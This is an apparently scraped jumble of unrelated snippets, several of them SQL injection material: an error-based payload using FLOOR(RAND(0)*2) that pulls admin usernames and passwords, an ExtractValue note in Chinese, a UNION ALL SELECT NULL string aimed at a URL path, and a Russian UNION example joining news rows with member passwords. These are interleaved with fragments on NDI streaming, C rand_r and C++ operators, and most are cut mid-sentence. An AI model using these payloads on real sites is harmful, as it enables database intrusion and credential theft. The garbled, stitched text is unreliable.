...(SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(database(), 1, 63), FLOOR(RAND(0)*2)
concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 2、ExtractValue(有长度限制,最长32位) and extractvalue(1...
channels/category/7' UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71
This tutorial shows a 2 PC streaming setup without a capture card, using NDI tools and OBS Studio. Newtek NDI software allows you to connect the video...
If no dynamic nor injectable parameters are detected, or in. case of junk results, refer to user's manual paragraph 'Page comparison' and. provide a string or regular expression to match on.
This algorithm is mentioned in the ISO C standard, here extended for 32 bits. */ int rand_r (unsigned int *seed) {.
Once introduced to variables and constants, we can begin to operate with them by using operators. What follows is a complete list of operators. At this point, it is likely not necessary to know all of them, but they are all listed here to also serve as reference.
Пример: SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members Это позволит объединить результаты из таблиц
table_3 (cool,yah) AS (SELECT 2,2 from table_2) -- совсем недавно узнал, что можно обращаться к вышестоящей таблице SELECT * FROM table_1 FULL